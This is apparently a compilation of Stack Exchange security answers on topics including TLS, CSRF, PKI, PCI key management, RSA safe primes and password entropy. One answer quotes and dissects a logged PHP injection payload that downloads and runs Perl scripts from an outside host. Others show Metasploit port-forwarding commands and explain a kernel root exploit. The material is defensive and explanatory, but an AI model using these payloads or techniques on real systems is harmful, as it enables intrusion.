Is HTTPS over wifi still safe if a hacker can set up a rogue DHCP server?

Since the hacker now controls any communication between the victim and the outside world, he could now reuse the real certificate issued by GeoTrust Global CA for mail.google.com domain when I access the HTTP server at 192.168.1.50.

No he can't. To identify yourself with a certificate (which needs to be done to fake the server) you need to have access to the private key of the certificate, which is not available by the attacker. Thus HTTPS is safe against DNS spoofing.

For more details why this is the case see How does SSL/TLS work?.


How to convince users that security is a good thing?

You aren't going to be able to "win" this per se, most people have an adversarial attitude towards technology at best. They got their current understanding mostly through guess-work, trial-and-error, and a healthy dollop of luck, and they know it. Any change means going through that all over again.

That being said, most of the objections you are getting are completely non-sensical (again, the real objection is "I don't want to go through the painful process of learning a new workflow"). I would respond with "if no one had ever broken into your car/house, would you still lock the door?" or "you mean you completely trust every single person that ever worked here and ever will to impersonate you professionally?" etc. etc.

On to the real objection.

Technology has finally answered the age-old comedic question "just how dumb are people anyways?" definitively and in multiple ways on multiple levels (yes, including us!). Merely adding a login screen is enough to stymie some users, which is why computer training sessions go over mind-numbingly obvious (to certain people) things. Depending on the size of your org you are either going to need to offer training sessions or (if possible) have you/your staff sit down with users 1-on-1 to go over the new procedures.

Even that certainly won't make people happy, but will probably get you over the hump of adoption.


Remember, the "U" in UAC stands for User.  In the case of a kiosk, who is the user?  Almost certainly it will not be you.

What good outcome could you expect from UAC on a kiosk?  Do you expect it to prevent the installation of malware if someone is surfing to evilsite.com?  Do you expect the bored kid who surfed to evilsite.com to tap "no, I didn't mean to install a virus on this kiosk?"  Also consider the case where you're trying to send out a patch, and UAC prompts the screen for yes/no; some random customer at your kiosk decides to helpfully tap "no".

UAC needs to be off for a kiosk.  It's not a question of "is it safe?"  Your security has to come from your other activities hardening the machine.  You have to disable accessibility keys, task manager, and a host of other things that can be started by hot keys or gestures.  You have to block browsing to unapproved sites.  You have to lock that machine down hard, and even so you should expect that clever script kiddies will find a way to infect it; so it's even more important that you isolate it from the rest of your network in a DMZ.


What is "rule-based" analysis in malware detection?

The assumption behind "rules based" detection of malware is that malware often behave in a certain manner that would be anomalous for clean, legitimate programs. Examples of rules or behavior that may tell a a system is infected by malware are below.

A system process that drops various malware executables (e.g: Dropper)
A system process that reaches out to random, and often foreign IP addresses / domains
Repeated attempts to monitor or modify key system settings such as registry keys

A rule in this context refers to the anticipated behavior that classic malware tends to exhibit. Therefore, when a antivirus program encounters such anomalous behavior, it may be more likely than not , but not definite that the system is infected by malware.

Given rules based analysis relies on differentiating expected vs anomalous behavior, such algorithms can suffer when malware changes or "cloaks" itself so its "footprints" or behavior are hidden. In addition, single occurrences are often not significant but its repeated instances that often trigger "rules based" alarms, such as > than X # of times to connect to a particular IP address (such as for call back purposes).


Is getpass.io secret-based artwork a threat?

Paranoia of authentication systems is considered the default and healthy state, here.

While you're correct that shoulder surfing is the threat model that the site is trying to mitigate, unless your cubicle-mate and evil maids already have a good idea of your password and just want to verify it, they're unlikely to know the jdenticon pattern. Someone who you share passwords with may be able to recognize an insecure password, of course, if they also use that system, so don't share passwords.

Still, some can argue that the jdenticon should be hidden by default, and only visible with explicit user interaction if you need to verify that the secret was entered correctly, just as the eye-with-a-slash icon also shows the plaintext of your secret.  If you think that shoulder surfing may be an issue, you can pre-emptively hide the jdenticon using CSS override extensions in your browser.

This is a somewhat moot point, though, as services like Getpass encourage low entropy passwords and password reuse, despite their best intentions.

With a deterministic password generator and several known (no entropy) values as its input, such as your username and the site's name, the only entropy left comes from your Getpass secret keyword. While most people won't be targets of spear phishing attacks, if you are, and attackers determine that you're using a deterministic password generator, then they can brute force that secret keyword. They won't need physical access to any of your devices, and won't trigger emails notifying you that a new/unknown device logged into your password manager.

Instead, use a password manager that generates a password from high entropy sources, and that either requires physical access, or notifies you of unexpected access.

Deterministic password managers do not add security, they only add obscurity.


Asymmetric Encryption + Signature workflow

There's nothing that prevents you from either signing an encrypted message or encrypting a signed message. The latter is the way encrypted email works, see S/MIME with its CMS message format, or OpenPGP. The former is less common, but sometimes seen, for example in the specification of SCEP secure message objects.

A detailed discussion about the merits of these approaches and more can be found here.


Password same-account indicators on websites

Based on what you've stated, a few of your thoughts raise some security concerns:

What protocols are you using to build these 'trusts' between the web sites?  You should not be building your own cross-site authentication mechanisms. Is is never a good idea to create these mechanics yourself. From a security perspective it is very dangerous, unless you truly understand the implications and downfalls.
The concern you have about phishing is really not specific to the scenario you've described.  An attacker can always create a evil-copy-cat website that appears to be the legitimate site.
Unless you are using some method of secure access delegation (such as OAuth, or SSO), I would argue against encouraging users to use the same passwords between the different websites.  Best practice states not to reuse passwords and that password reuse weakens the overall security of the entire collection of websites.
Basic user account enumeration is an issue here. It also sounds like an attacker would be able to enter email addresses into one of the login pages and be able to see what other website the email is associated with.  If the attacker understands that the credentials between the associated websites are the same, then this makes it easy for the attacker to login to these websites by only compromising one of user's credentials.

I assume these websites are on a trusted internal company network.  If you can provide more details on why you are thinking of building something custom instead of implementing SSO then we may be able to provide a better answer.


Is there a way to enforce policies in x509 certificates?

The enforcement of policies is done in the systems using these certificates for authentication or similar, i.e. web browser, mobile apps,  mail clients (S/MIME), IPSec peers, ... .  There are a few policies which are clearly defined in the standards and which are usually implemented in all of the systems dealing with X509 certificates (i.e. things like expiration, key usage...).

Any uncommon and/or vendor specific policies will likely not be supported universally. They might be supported for a specific use case (i.e. authentication in HTTPS) or in some vendor specific environments but not everywhere.

X509 has a way to mark extensions as required though and a client which does not understand a specific extension still knows if the understanding of a extension is required or not. This means that a standard-conforming client which does not understand a specific required extension will treat the certificate as invalid. If the extension instead is not marked as required then the client can simply ignore such an unknown extension.


Why use entropy at all in considering password strength?

You're looking at it just a little bit wrong.  Probability can be tricky, so the best way to make sense of it is to simplify.  Rather than looking at an ~8000 word list, let's look at the following word list made up entirely from 10 letter words:
california
everything
aboveboard
washington
basketball

There are exactly 5 words on my list with 10 characters each.  I make my password by picking 1 word from this list at random:
everything

Consider an attacker that knows that I chose one password from this list.  Therefore, What is the maximum number of tries it will take to guess my password?  The answer is simple: 5
Sure, there are 26 lowercase letters and my password has 10 characters, so if an attacker didn't know any better and just tried to guess random lower-case letter combinations, they would have 26^10 passwords to try (which is a lot more than 5).  That doesn't matter though, because I picked a single word, so someone who knows my word list can guess my password in at most 5 tries.
This is the case because I didn't pick my password by randomly selecting 10 lower case letters.  If I had chosen 10 random letters then the number of possible passwords would be 26^10 (and my password would be harder to remember).  Instead I picked my password by randomly choosing one word from a list of 5 possibilities.  Therefore the number of possible passwords is just 5^1 = 5.  If I chose two of these passwords and stuck them together then the number of possible passwords I could have would be 5^2 = 25.  It doesn't matter how long the words are, because I'm not choosing letters - I'm choosing words.


Reverse Engineering - .zip file decryption if I have similarly encrypted .zip files and I have password to one of them

As I lack 50 reputation to comment and the question is rather simple, I'll answer directly by assuming some details:

Assuming ZIP-encryption utilizes a proper encryption algorithm, no. Even if two files are similarily (whatever that means. I just assume similar passwords) encrypted, you won't be successful.

Reverse engineering is the wrong term here. You can actually look up how encryption is done by reading the code of an open-source ZIP software or looking up the algorithm in general.

Following the Kerckhoff principle, the security of the algorithm is not determined by the secrecy of the algorithm itself, but the keys being used. No key, no decryption.

In addition, the keys being actually used are probably very different from each other, even if the password are similar, as functions like PBKDF or various cryptographic Hashfunctions are used to derive encryption keys from a password.

Hash("Hey, welcome to Stack Exchange!") is very different from Hash("Hey, welcome to Stack Exchange.").


TL;DR: handle CSRF on the same place (gateway or a service behind it) where you handle authentication. Or don't use cookies for authentication tokens.
Long version
In a stateless design most common approach for CSRF protection is double submit cookie. Even though the server does not have a state or session, a security session is present on the client side. It is very important to implement double submit cookie in a way that it is tied to this security session and not to do it naively. Please see this paper for more details.
One approach to achieve this is to include CSRF token inside authentication cookie and make authentication cookie httpOnly. This way an attacker on a compromised subdomain will be forced to overwrite both authentication cookie and CSRF token which he can't do since he can't fake authentication cookies. Even if he has a valid authentication cookie (his own for example), this will change authenticated user and thus defeat the purpose of CSRF in the first place. Also, overwriting the cookie is not enough to defeat CSRF since client application is not reading CSRF token from the cookie itself (it is httpOnly) but it is given a CSRF token on a successful authentication.
Steps needed to implement this approach can be found here. Even though the answer on that link is about JWT, the same approach is valid for any token format you use for authentication.
In stateless microservice architecture the best approach is to handle CSRF on the same place where you handle authentication be it on gateway or some other service behind it since you will need to handle authentication on every request and the CSRF token is (if you implement my advice above) tied to the authentication. Any other option option will complicate things further and possibly break CSRF protection altogether. For example:

You are processing authentication on a gateway or other service but can't change the way authentication is performed and thus can't add CSRF protection at that place. In this case you will need to extract CSRF token out of the auth token and forward it to target service along with CSRF header for processing. This implies you will need to do CSRF protection in each and every service which is not a good thing. You can't guarantee each service will perform this check. Also, you will need to worry about inter service communication. Disabling CSRF protection with a presence of a certain header is possible but might be a security risk in itself.
You are not performing authentication on a gateway or you don't have a gateway, client credentials (authentication token/cookie) are forwarded to every service in chain of request and each service needs to handle it's own authentication/CSRF protection. Same as above, you can't guarantee each service will do it but the approach for handling CSRF is outlined above.

One other approach to handle CSRF is not to have cookies for authentication tokens and instead use headers for passing authentication tokens around. In case of an XSS vulnerability, this will make it easier for authentication token to be stolen though. An article about this dilemma can be found here.


This is typical low-level scanning, it's not uncommon for servers to see hundreds or thousands of scanning attempts per day.

You are not required to notify anyone, in fact the majority of people and companies out there take no action, they just accept being scanned as part of connecting to the internet.

You could notify the email address listed as maintainer in the whois entry for the IP block that you are receiving scan traffic, who knows, they may even fix it. I wouldn't hold my breath though.


Is it safe to exclude my own registered domain from rebinding protection?

After additional Internet searches, I cannot provide an authoritative answer, but I found additional supportive evidence that it is safe to exclude own domains.

on https://umbrella.cisco.com/blog/2008/04/14/finally-a-real-solution-to-dns-rebinding-attacks/ Cisco advices for their routers that addresses legitimately pointing to LAN addresses should be excluded:

  Those of you with domains that point to private address space
  legitimately (to your intranet, for example) should also visit the
  domain whitelist page and whitelist your domain.

on https://superuser.com/questions/1220839/my-router-false-positively-detects-dns-rebind-attack an answer is provided that recommends excluding the own domain in a situation similar to mine (but not commenting on the safety of that approach)


Create a CA, import the CA certificate in your iPhone's certificate store and then use an intercepting proxy that MITM's the TLS traffic and re-encrypts it using that CA cert.

This will work with apps that use the system's TLS functions, but not with those implementing their own TLS with OpenSSL (as they won't be using the system's cert store) nor those who do certificate pinning (you'd have to jailbreak to bypass that).


Is encryption less resistant to brute-forcing compared to hashing?

To encrypt a piece of data, you need an encryption key. An encryption key has to be a long, random string. Passwords do not fit this criteria. So if you want to use a password as an encryption key, you need to use a key derivation function. Strong password hashing algorithms like pbkdf2, bcrypt and scrypt are key derivation functions.

So to answer your question, it depends. It depends on which KDF the application is using to stretch the password into an encryption key. GnuPG does use a KDF function (controlled by the --s2k-* set of flags).


172.16.33.197, 127.0.0.1 IP addresses in visitor logs

Yes. If the user alters the HTTP_X_FORWARDED_FOR header, or any of the  user-supplied headers you're checking with that code, they can forge the source IP. Ignore those headers and just use the REMOTE_ADDR value.


The point of RFD is abusing the trust of certain sites and if I can make arbitrary files look like they are coming from a trusted site, I get to bypass certain warnings. (Is it my browser that already trusts certain sites or is it the user or both?)

I think it is only meant as in the user will look at the downloaded file and think "Oh, it did come from www.google.com, so it should be safe", and then execute it. But I could be wrong.

  However, if I can achieve the same result with http://localhost:8080/FileDownload/Install.bat, then under what scenario would I need to do the semi-colon hack?

Did you use IE / Firefox? The paper states in section 2.2.2 that the "hack" is only needed for Chrome / Opera. (But then again, you seem to have solved it without using a single ";", which was not described in the paper. The paper does however state "Of course, that application specific URL parsing could lead to other characters
acceptable as separators in the path portion of the URL.").


Within your meterpreter forward the port from your local machine:

meterpreter > portfwd add –l 3389 –p 3389 –r 127.0.0.1
[*] Local TCP relay created: 0.0.0.0:3389 <-> 127.0.0.1:3389
meterpreter > background

Then set RHOST to 127.0.0.1.

msf > set RHOST 127.0.0.1
msf > exploit

Docco here.


Theres a couple glitches in that system. While you could effectively get rid of USB malware, you're restricting yourself to the components inside of the machine. High security firms and military installations use usb to connect to CAC cards in order to lock their credentials outside of the machine.

If your company has solutions for all of their security concerns and has no sense of using hardware based authentication then I dont see a problem in it though.


Distributing private PKI CA Cert with public SSL CA? Any point?

The main drawback to issuing your own root certificate is that you will have to install it in each browser and OS in your organization.  Depending on how many computers you're dealing with, and what kinds of computers they are, that could be a lot of work.  (IoT devices may not have a good way to update their trusted root certificates, for example.)  Also, be aware that installing a trusted root certificate in a machine means that machine is exposed during the installation process - a poor certificate distribution process could create a vulnerability for a rogue certificate to be installed.

Depending on your usage model and security policies, you may also have to provide a way for users who bring their own devices (BYOD) to download and install the certificate on their machines.

Another drawback of creating your own is maintenance complexity.  Just whipping up a new cert with openssl is pretty easy, but you have to plan in advance to secure the private key, get it backed up and all copies stored safely offline, etc.  Keeping the copies somewhere safe for 20 years can actually be quite a challenge (would you still have a way to recover an image from a 20-year-old floppy disk today?  In 20 years, will you still have a way to read a 20-year-old CD-ROM?)  You also need to document this fully, so that 20 years from now when this root certificate expires, the next CA admin will know how to spin up a new certificate, secure it, and distribute it.  In 19 years, who is going to notify management that their old root CA is going to expire?

PKI experts are few and far between, so finding one when you need one can be a challenge for a smaller organization.  You may need to bring in an expensive consultant to help get it set up securely.

You'll also want to provide a OCSP server, or at least host a CRL somewhere (although you'll need that anyway).

The advantages of signing with the public cert is that the public cert is already built into all commercial and open source browsers.  The main disadvantage is cost: the commercial CAs are likely to charge you a premium for a certificate with CSA authority.

Another advantage of the public certificate is that your certificates will work outside of your organization.  You won't have to distribute your internal root certificate to your vendors and partners, who won't want to install your cert because they'll have little reason to trust your PKI is safe.  Of course, you can get around this even with a private PKI simply by purchasing a few externally signed certificates for those machines your partners connect to.

All in all, building your own PKI leaves you fully in charge of your destiny, which can be a good thing.  Just make sure you're good enough to be safe, because you're dealing with the security of your entire organization's computing infrastructure for the next 20 years.  Don't design it alone, and make sure you get executive level approval on whatever decision you make.


How to Encrypt Credit Card number for storing it in sql server database according to PCI DSS Requirement?

The first two options (one-way hash, truncation) don't leave you with a working number, so if you expect to use the card again in the future these won't work for you.  At the other end of the spectrum, strong cryptography will give you that ability, but it's harder, and involves setting up processes (such as key rotation and management).
Because of the key rotation requirements, solutions are usually geared around use of one key throughout its cryptoperiod, rather than pairing keys with users or cards.

You would generally use one DEK (call it DK1) for encryption of multiple cards, for the duration of the DEK's OUP (Originator Usage Period).  Let's say the OUP is 3 months.  After 3 months, you would generate a new DEK (DK2), and all new card encryptions will start using that number instead.  However, for all those cards you encrypted in the first three months, you may need to decrypt them, right?  So DK1 may continue to be used for decryption of those existing encrypted cards throughout its RUP (Recipient Usage Period) which is longer (let's say 12 months).

So at any given time, you'll have at least one DEK in use as an OUP and an RUP, and 3 other DEKs used solely as RUPs.  And as the oldest DEK nears the end of it's RUP, you need to re-encrypt all its cards with a newer DEK.

That's what PCI means by "with associated key-management processes and procedures".  The terminology above is from NIST 800-57, which PCI cites as an example of the sort of key management guidelines they look for in DSS 3.6.4.

You should also be protecting this stable of DEKs with a KEK (Key Encrypting Key).
Nope.  <OPINION>One-time pads are not a realistic solution; while cryptographically secure, they're not manageable on any usable scale.  Imagine what I said for #2, but with one DEK per card!</OPINION>


Possible to identify a hash type by length?

Hashes are commonly represented that way so they are readable/printable characters. They are representations of the binary values generated by the hashing process, thats why they use the same standard base16 character set.

Many hashes, yes, are predictable by length.

MD5 is 128 bit
SHA1 is 160
SHA256 is 256, 512 etc etc.
Divide those by 8 to get the length in bytes, then times that by two for the length when represented as ASCII.

However it is not foolproof. as SHA1 and RIPEMD-160 are both 160 bits. Odds are it will be SHA1 so you can make an educated guess, but no guarantees

Equally someone might be (rather stupidly) truncating the hash or all sorts of craziness or not using common hash types. It would be an educated guess only.


How to create a company culture that cares about information security?

High Level Culture

In my experience, shifting a security culture takes 3 steps:

Get management buy-in to do things differently
Get personal management engagement to lead the way on what is important
Set the tone through training, media, and in-person events that "people like us do things like this"

Here's the thing: management has to be leading the charge on this, with help with the security champions. Management has to want, and encourage, the technical controls to apply to themselves. If management gets special conditions, game over.

Get a manager, the higher up, the better, to personally and publically express their desire to participate in a properly secure environment. Get them to express the frustrations and inconveniences, too. But also communicate that the inconveniences are important for the health of the company.

  "I grumble on the mornings when I'm prompted to change my password. I think, I changed it just [1|3] months ago! But, I know that when I do, I'm cutting off a hacker's route to using my credentials to harm me and this company"

[yes, I am aware of the controversy about frequent password changes, but roll with the example for a second]

Then, once you have this great foundation, then start bringing that message to the personal level to everyone.

Teach Them to Secure Themselves

It can be easy for people to see company policy as disconnected from reality (have you filled in your TPS reports?). So pushing hard on company security can be a losing battle. Instead, consider teaching people how to secure themselves and their families. Show how hackers have and do compromise home computers and mobile devices. By doing this, you get them to really see the dangers involved. Once you have this buy-in, then it is much easier to shift the focus to dangers at work.

Get Some Teeth

If everyone is getting along with the policies, then that's great, but you need to have some worst-case consequences for people who do not comply. This is a tricky subject and you need to work with HR, GRC, and management to make this work.


Use of safe prime in RSA digital signature scheme

The need for a "safe prime" is a piece of old lore that is now obsolete, but is still taught, because of what can only be described as generalized apathy.

Historically, the "safe primes" are called "safe" because of Pollard's p-1 factorization algorithm.

The core idea of Pollard's algorithm is the following: when we compute things modulo n (n = pq for two big primes p and q), we are actually doing the computation modulo p and modulo q (that's the gist of the Chinese Remainder Theorem). So we will do computations modulo n and hope for things to go sour: we want to do things that yield a value of zero modulo p but not modulo q, because, when working modulo n (as we do), such a situation implies that we got some integer x that is not invertible modulo n; such an x is a multiple of p but not of q; thus, a simple GCD between n and x yields p, and n is factored.

In this case, Pollard says: let's suppose that p-1 is "smooth", meaning that it is a product of only small prime factors. For instance, suppose that the largest prime factor of p-1 is smaller than some bound B (we would then say that p-1 is "B-smooth"). Then, take a random value z modulo n and do this:

Replace z with z2k mod n, where k is the largest integer such that 2k < p.
Replace z with z3k mod n, where k is the largest integer such that 3k < p.
Replace z with z5k mod n, where k is the largest integer such that 5k < p.
... and so on, in due succession, for all primes up to B.

If p-1 is indeed B-smooth, then, at that point, z is necessarily equal to 1 modulo p (because all the exponentiations have collectively raised z to an exponent u that is a multiple of p-1). Thus, z-1 is a multiple of p. But if q is not B-smooth, then z-1 is not a multiple of q. Therefore, a GCD between z-1 and n yields p, and n is factored.

(Note that everything here is about factoring n, which is sufficient to break the RSA key generally, regardless of whether you use it for signing or for encrypting.)

To avoid falling into the situation where p-1 is B-smooth for a B small enough for the algorithm above to be practical, some people have said: let's generate our p such that p = 2r + 1 (for some prime r). Such a p is B-smooth only for B at least as large than r, i.e. almost as large as p; this is way too large for Pollard's p-1 algorithm to work in any non-ridiculous amount of time. We well thus deem such primes "safe". Neat, isn't it ? Not so fast.

"Safe" primes are not safe, or at least not safer than randomly generated primes. The first blow came in 1982, eight years after Pollard's publication, when Williams invented the p+1 factorization algorithm. It is a generalization of Pollard's algorithm, that works whenever p-1 or p+1 is B-smooth for a small enough B. This means that if you want your p to be "safe", then you must ensure that both p-1 and p+1 are the product of a large enough prime; you would need to generate p such that p = 2r + 1 and p = 2r' - 1 for two primes r and r'.

Then the notion of "safe prime" for factorization was killed in 1987 when Lenstra published the ECM factorization method. It can be viewed as a generalization of Pollard's p-1 algorithm. We work modulo n; we define a random elliptic curve of equation Y2 = X3 + aX + b for two random integers a and b modulo n. Then we take a random point G on that curve; and we multiply that point repeatedly, with 2k, 3k, 5k... and so on, up to bound B (each "k" being adjusted so that the multiple is not greater than p).

These point multiplications are really the analogous of the exponentiations in Pollard's algorithm. Our hope is that the curve order modulo p is B-smooth, i.e. that all these point multiplications will send our point to the "point at infinity" when considering it modulo p. There again, when we do elliptic curve computations modulo n, we are actually working over two curves at the same time, one modulo p and one modulo q. If we reach the "point at infinity" on the curve modulo p (but not modulo q), this will show up as non-invertible coordinates X and Y modulo n, and, again, a simple GCD then reveals the factorization.

The crucial point, for the discussion at hand, is that ECM will work if the curve order (for the curve "modulo p") is B-smooth. That curve order is "close" to p, but still fairly randomly distributed in a range of size 4·sqrt(p), which is quite large (if we are talking about 1024-bit primes, then the range has size at least 2512...). Therefore, a RSA modulus will resist ECM factorization only because a random 1024-bit integer in a large range has only negligible probability of being B-smooth for a small enough B.

Remember that the notion of generating a "safe prime" comes from the fear that a randomly generated prime p could turn out to be such that p-1 is B-smooth. Fortunately, the probability of such an occurrence with normal-sized primes (say, 1024 bits for RSA-2048) is abysmally small. But some people say that they want to "take no risk" and they insist on verifying that p-1 is not B-smooth. The ECM method shows that it is flawed thinking: regardless of how you select p, you are still relying on the very small probability of a random integer to be B-smooth.

Summary: there is no reason to single out p-1 as needing a big enough prime factor. For security, you need random integer generation to be "safe enough" (not B-smooth for too small a B); and if a random integer is fine, then it is fine. Insistence on using "safe primes" for RSA is just being stuck in the past; it made sense between 1974 and 1987, but no longer.

Notes:

Though "safe primes" are a useless notion for RSA, they still have some use in Diffie-Hellman, since they allow the use of a small integer as generator (typically 2), which has some (slight) performance benefits.
Regardless of all of the above, confronting your lecturer is socially and politically a poor move. If he (she) is a nice open-minded guy (or gal), you might want to send him (her) to me, i.e. point him (her) to that answer. But in student-teacher relationships, the best strategy for a student is to watch, learn, and bide his time.


How to find and protect against the exploited vulnerability in a PHP application based on the logged URL?

While the suggested settings are good unless the disabled functionality is actually needed, they would likely not have prevented this kind of attack:

Attack vector

http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>"

Vulnerability

There is some PHP code which writes another PHP file, most likely a way to change a configuration using the web interface. The configuration is stored as PHP code.

The mechanism writes something similar to

shell_exec('wget '.$untrustedUserInput.' something else');

$untrustedUserInput is the string I quoted above with proper line breaks for easier reading.

Given the attack URL in the Refer header, it is possible that the motivation for the code is not a configuration mechanism but to create an archive of pages from which people are linked to your website.

Result

So the result looks like

shell_exec('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>
".' something else');

Note the ?> to prevent the "something else" from being seen as PHP code.

Counter-measures

If possible set the file system permissions to not allow the webserver to write files in any directory that it executes PHP files from. You may need to temporarily give write permissions for configuration changes on specific files, but should remove it after the changes. Be especially careful to put upload folders outside the web root.

Make sure that you install security updates of third party software, such as PhpMyAdmin, Wordpress including the plugins very quickly after release. Subscribe to the mailing lists on which those updates are announced.

Have an audit done on your code. If that is not possible because it is too expensive, at the very least learn about common security issues in PHP code. The OWASP PHP Top 5 are a good starting point.


Dual control / key encrypting key required?

One of the problems with the PCI DSS is that requirements are either in place or they're not so it's not a risk-based approach. The dual control means no single user has 'the keys to the kingdom' so to speak and the key encrypting key (KEK) prevents the key used for data encryption (let's call it the Data Encryption Key or DEK) from ever being seen in the clear.

The KEK should always be of equal or greater strength than the DEK - I'm not sure the requirements are clear on this though they do recommend you're in line with NIST standards (such as 800-57). I don't think using XOR as a KEK for the DEK would provide this.

Enforcing dual control can be tough - doing it though a service which has access to distributed key parts with separate RBAC is a good idea. Another is having a KEK in an application and DEK encrypted with KEK in a database with RBAC on application and DB systems. MS SQL has a key management system built in using Master Encryption Keys, Data Encryption Keys and certificates to protect keys. StrongAuth have a Lite Encryption Library for doing this also. If you have a QSA, you could ask them how they've seen this implemented in the past.


What are the threats addressed by a Hardware Root-of-Trust?

TL;DR: It lets manufacturers implement Secure Boot in a system where only the stuff that absolutely needs to be read-only is non-patchable, and protects them from their own mistakes when attempting to implement the basis of the root of trust themselves by having experts create and review the silicon in a transparent way.

The core concept of any Secure Boot system is that the system can only be started if the firmware verifies that the next step in the system (typically a bootloader) is trusted (typically, this means "signed using a specific key, or a key issued by a trusted authority"). Each subsequent step then verifies the one that comes after it. However, this presents a complication: where do you store the firmware? If you put it in writable flash memory, an attacker can overwrite the firmware with one that does not verify the rest of the chain, and bypass secure boot entirely. If you store it in read-only memory, then there's no way to update the firmware without tearing apart the hardware, and firmware can have bugs or need changes same as any other computer system.
The stuff you linked is an attempt to create a standard way to store a public key and a module which verifies that the device's firmware is signed by the holder of the corresponding private key (or by a key chaining to it), and which mediates access to that firmware. This allows you to create a device-agnostic chip (or chip module) that supports the fundamental baseline requirement of Secure Boot with the absolute minimum required functionality. This provides a minimal attack surface against the part of the system that can't be updated, reducing the risk of it containing a vulnerability.
It also means manufacturers, developers, and users can see what the root of trust is doing and how it works. Secure Boot has a major problem that gets at the very basis of what "security" means: preventing unauthorized access or operation. But, authorized by whom? For some systems like PCs, it's the owner; if I want to use Secure Boot on my laptop, I can control what signing keys are permitted. For others (phones, consoles, etc.) the manufacturer asserts that the owner does not actually get to decide what constitutes authorized use, and thus historically has tried to make the whole root of trust as opaque and user-inaccessible as possible, and limited outside review. Sometimes this backfires horribly, as with the PS3 and "fail0verflow", where Sony's poorly-implemented trust root relied on security through obscurity and was easily broken once people figured out how it worked. If a system like the ones above had been available back then, Sony and other companies could have had a system developed and reviewed by people who actually know what they were doing. The resulting product would both have been more secure (for the company, in that case, rather than for the users) and more updatable to fix the various other firmware bugs.


How is a exploit code mmaped in user space executed in kernel space?

If you look at the affected code (from kernel 3.7.0, lines 115 to 132):

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
        int err;
        struct sock_diag_req *req = nlmsg_data(nlh);
        const struct sock_diag_handler *hndl;

        if (nlmsg_len(nlh) < sizeof(*req))
                return -EINVAL;

        hndl = sock_diag_lock_handler(req->sdiag_family);
        if (hndl == NULL)
                err = -ENOENT;
        else
                err = hndl->dump(skb, nlh);
        sock_diag_unlock_handler(hndl);

        return err;
}

The sock_diag_lock_handler() function is accessed with the req->sdiag_family value as index. The index comes from the userland. The called function code is:

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
        if (sock_diag_handlers[family] == NULL)
                request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                                NETLINK_SOCK_DIAG, family);

        mutex_lock(&sock_diag_table_mutex);
        return sock_diag_handlers[family];
}

So we see that the provided index is used directly to access an array called sock_diag_handlers[], without any check on the array length. The array contains 40 elements, but the index in the exploit is 0x37, i.e. 55 -- so the code reads bytes which are 16 entries past the array end (i.e. 128 bytes, since each entry is a pointer and the exploit is apparently meant for a 64-bit machine).

The returned value is used by the caller (__sock_diag_rcv_msg()) as a pointer to a structure, that contains, in particular, a field called dump() which is a function pointer -- and the code invokes that function by following the pointer.

The exploit relies on the presence, in the kernel memory space, of a suitable pointer at offset 55 of the array (not part of the array, but of some other data which just happens to be there). That pointer points to a benign and normal structure within the kernel space, that is meant for something completely different; but the faulty code will interpret that structure as a struct sock_diag_handler and read what it assumes to be the fault field, which happens to contain the value 0x1A000. So the code will "jump" to that address.

All that remains for the exploit is to make sure that there is executable code at the 0x1A000 address. That address is part of the user space; the userland exploit can reserve that space with a mmap() call, and put some code in it. Here, codes that makes the currently executing process "root".

The important point to understand is that "user space" and "kernel space" coexist. When a process it executing, it "sees" memory as a collection of pages, some of which being mapped to actual RAM. The "kernel space" is a subset of these pages. The mapping is done with the MMU, and it enforces access rights: when the code that executes has "user privileges" (as opposed to "kernel privileges"; we are not talking about root vs non-root here), any attempt at accessing pages that are marked as "kernel space" will trigger an exception (segfault). When the process performs a system call (e.g. the send() call), it jumps into kernel space and temporarily acquires kernel privileges, at which point all the kernel space becomes reachable. But the mapping of pages has not changed; the user land pages are still there, and, crucially, while user privileges are not sufficient to access kernel pages, kernel privileges are more than enough to access user pages. Therefore, nothing prevents code with kernel privileges to jump into code that happens to be in user space. This is what happens here.

So the exploit control flow is:

Process sets up its special code at address 0x1A000.
Process performs a send() system call with some parameters which lead to execution of __sock_diag_rcv_msg() in kernel space, with kernel privileges.
That function erroneously follows what appears to be a function pointer (but is not), and jumps into code at address 0x1A000. That code is in user space (i.e. it was built by the exploit with a perfectly legitimate mmap() call), but executes with kernel privileges.
That exploit code uses the kernel privileges to change the current "identity" of the executing code. That identity (UID) is simply a value in some table in kernel space; since the code has kernel privileges, it can simply change the UID to 0, which means root.
The exploit code returns, so execution gets back to __sock_diag_rcv_msg(), who is very happy about the whole proceedings, and returns. Ultimately, the system call terminates, and the user land process regains control, with user privileges.
However, the kernel now thinks that the process runs as root. The exploit code simply launches a shell with these newly acquired privileges.

The 0x37 and 0x1A000 are simply values that "work well" in the case of the specific kernel version that the exploit is tailored at: the attacker noticed that in the kernel space, 128 bytes after the overflown array, there was a pointer to a kernel-space structure whose pseudo-dump field contains a value that, interpreted as a pointer, points to an address which is low enough to be in reach of a normal userland mmap(). The data we are talking about here (the overflown array and the structures that follow it in RAM) are part of the "constant data" segment: these are normal, constant data structure filled when the kernel was compiled. Thus, they may change when a new kernel is compiled, but all instances of the affected kernel will be identical in that respect -- which is why the exploit is specific to a kernel version (here, the one shipped with Ubuntu 12.10 in 64-bit mode), but will work on all systems that use that kernel.

Other affected kernel versions, or other compilations with distinct options, may need different values for the sdiag_family and mmap_start, but the conditions on a suitable structure are not hard and chances that there are many other appropriate combinations. (Or at least there were, since the kernel has now been fixed in that respect, and won't do any access past the array end, which avoids the whole issue.)


After changing Microsoft password, one can still login to previously authenticated Windows devices with old password indefinitely. Why?

Microsoft Account

Although it's harded to find official online documentation on this, it seems to work similarly as with the Active Directory domains described below. According to Microsoft Specialist Guide to Microsoft Windows 10 (Exam 70-697, Configuring Windows Devices) by Leon Plesniarski & Byron Wright:

  Cached credentials are also used when you selct to sign in with a
  Microsoft account in non-domain networks. Cached credentials for
  Microsoft accounts ensure that you can sign in when your computer does
  not hace access to the Internet.

